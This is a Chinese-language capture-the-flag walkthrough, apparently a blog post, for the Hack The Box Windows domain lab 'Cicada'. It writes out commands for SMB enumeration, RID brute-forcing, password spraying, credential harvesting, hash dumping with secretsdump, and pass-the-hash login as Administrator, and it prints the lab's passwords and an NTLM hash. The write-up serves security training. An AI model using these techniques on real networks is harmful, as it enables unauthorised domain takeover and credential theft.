域渗透入门靶机之HTB-Cicada
字数 1371 2025-08-22 12:22:42

HTB-Cicada 域渗透入门靶机教学文档

1. 靶机概述

HTB-Cicada 是一个难度为 easy 的 Windows 域渗透靶机,主要涉及以下技术点:

  • 信息收集与端口扫描
  • SMB 服务匿名登录利用
  • 域用户枚举技术
  • 密码喷洒攻击
  • 横向移动与权限提升

2. 初始信息收集

2.1 端口扫描

使用 Nmap 进行全端口扫描:

nmap -sT --min-rate 10000 -p- 10.10.11.35 -oA ./port

发现开放了以下关键端口:

  • 53 (DNS)
  • 88 (Kerberos)
  • 389 (LDAP)
  • 445 (SMB)
  • 5985 (WinRM)

这些端口表明目标可能是一个域控制器(Domain Controller)。

2.2 详细扫描

提取开放端口并执行详细扫描:

ports=$(grep open port.nmap | awk -F '/' '{print $1}' | paste -sd ',')
sudo nmap -sTVC -O -p$ports 10.10.11.35

从扫描结果中获取主域名和二级域名,并将其添加到 /etc/hosts 文件中。

3. SMB 服务渗透

3.1 检查匿名登录

使用 CrackMapExec 检查 SMB 匿名登录:

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --shares

3.2 访问共享文件夹

检查 HR 和 IPC$ 共享:

smbclient -N //10.10.11.35/HR
smbclient -N //10.10.11.35/IPC$

在 HR 共享中发现 Notice from HR.txt 文件,获取到密码:

Cicada$M6Corpb*@Lp#nZp!8

4. 域用户枚举

4.1 使用 Kerbrute 枚举用户

尝试使用 Kerbrute 进行用户枚举:

./kerbrute_linux_amd64 userenum --dc 10.10.11.35 -d cicada.htb xato-net-10-million-usernames.txt

4.2 使用 RID 暴力破解

当 Kerbrute 无效时,使用 CrackMapExec 的 RID 暴力破解功能:

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser'

RID (Relative Identifier) 是 Windows 域中每个账户的唯一标识符,通过枚举 RID 可以发现有效用户。

将获得的用户保存为 user_list 文件。

5. 密码喷洒攻击

使用获得的密码对用户列表进行密码喷洒:

crackmapexec smb 10.10.11.35 -u user_list -p 'Cicada$M6Corpb*@Lp#nZp!8'

成功获得有效凭据:

michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

6. 横向移动

6.1 枚举 SMB 共享

使用获得的凭据进一步枚举 SMB 共享:

smbclient -U 'michael.wrightson%' //10.10.11.35/<share_name>

6.2 使用 enum4linux 枚举

使用 enum4linux 进行更全面的枚举:

enum4linux -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35

发现另一组凭据:

david.orelious:aRt$Lp#7t*VQ!3

6.3 获取更多凭据

使用 david 的凭据访问 DEV 共享,发现 Backup_script.ps1 文件,从中提取出第三组凭据。

7. 建立立足点

尝试使用 WinRM (5985 端口) 和获得的凭据建立远程会话:

evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p '<password>'

成功使用 emily.oscars 用户建立立足点。

8. 权限提升

8.1 利用 SeBackupPrivilege

检查当前用户是否具有 SeBackupPrivilege 权限,这是一种常见的提权方法。

8.2 转储 SAM 和 SYSTEM 文件

使用 secretsdump.py 转储哈希:

secretsdump.py -sam sam -system system LOCAL

获得 Administrator 的 NTLM hash:

2b87e7c93a3e8a0ea4a581937016f341

8.3 获取管理员权限

使用 evil-winrm 以 Administrator 身份登录:

evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

9. 总结

整个渗透流程如下:

  1. 通过信息收集发现 SMB 匿名登录
  2. 从 HR 共享文件中获取默认密码
  3. 使用 RID 暴力破解枚举有效用户
  4. 进行密码喷洒攻击获得第一组有效凭据
  5. 利用第一组凭据枚举发现第二组凭据
  6. 使用第二组凭据获取第三组凭据
  7. 使用第三组凭据建立立足点
  8. 利用 SeBackupPrivilege 完成权限提升

关键点:

  • 始终关注信息收集的全面性
  • 利用默认密码进行密码喷洒
  • 注意共享文件夹中的敏感信息
  • 检查特殊权限进行提权
HTB-Cicada 域渗透入门靶机教学文档 1. 靶机概述 HTB-Cicada 是一个难度为 easy 的 Windows 域渗透靶机,主要涉及以下技术点: 信息收集与端口扫描 SMB 服务匿名登录利用 域用户枚举技术 密码喷洒攻击 横向移动与权限提升 2. 初始信息收集 2.1 端口扫描 使用 Nmap 进行全端口扫描: 发现开放了以下关键端口: 53 (DNS) 88 (Kerberos) 389 (LDAP) 445 (SMB) 5985 (WinRM) 这些端口表明目标可能是一个域控制器(Domain Controller)。 2.2 详细扫描 提取开放端口并执行详细扫描: 从扫描结果中获取主域名和二级域名,并将其添加到 /etc/hosts 文件中。 3. SMB 服务渗透 3.1 检查匿名登录 使用 CrackMapExec 检查 SMB 匿名登录: 3.2 访问共享文件夹 检查 HR 和 IPC$ 共享: 在 HR 共享中发现 Notice from HR.txt 文件,获取到密码: 4. 域用户枚举 4.1 使用 Kerbrute 枚举用户 尝试使用 Kerbrute 进行用户枚举: 4.2 使用 RID 暴力破解 当 Kerbrute 无效时,使用 CrackMapExec 的 RID 暴力破解功能: RID (Relative Identifier) 是 Windows 域中每个账户的唯一标识符,通过枚举 RID 可以发现有效用户。 将获得的用户保存为 user_list 文件。 5. 密码喷洒攻击 使用获得的密码对用户列表进行密码喷洒: 成功获得有效凭据: 6. 横向移动 6.1 枚举 SMB 共享 使用获得的凭据进一步枚举 SMB 共享: 6.2 使用 enum4linux 枚举 使用 enum4linux 进行更全面的枚举: 发现另一组凭据: 6.3 获取更多凭据 使用 david 的凭据访问 DEV 共享,发现 Backup_script.ps1 文件,从中提取出第三组凭据。 7. 建立立足点 尝试使用 WinRM (5985 端口) 和获得的凭据建立远程会话: 成功使用 emily.oscars 用户建立立足点。 8. 权限提升 8.1 利用 SeBackupPrivilege 检查当前用户是否具有 SeBackupPrivilege 权限,这是一种常见的提权方法。 8.2 转储 SAM 和 SYSTEM 文件 使用 secretsdump.py 转储哈希: 获得 Administrator 的 NTLM hash: 8.3 获取管理员权限 使用 evil-winrm 以 Administrator 身份登录: 9. 总结 整个渗透流程如下: 通过信息收集发现 SMB 匿名登录 从 HR 共享文件中获取默认密码 使用 RID 暴力破解枚举有效用户 进行密码喷洒攻击获得第一组有效凭据 利用第一组凭据枚举发现第二组凭据 使用第二组凭据获取第三组凭据 使用第三组凭据建立立足点 利用 SeBackupPrivilege 完成权限提升 关键点: 始终关注信息收集的全面性 利用默认密码进行密码喷洒 注意共享文件夹中的敏感信息 检查特殊权限进行提权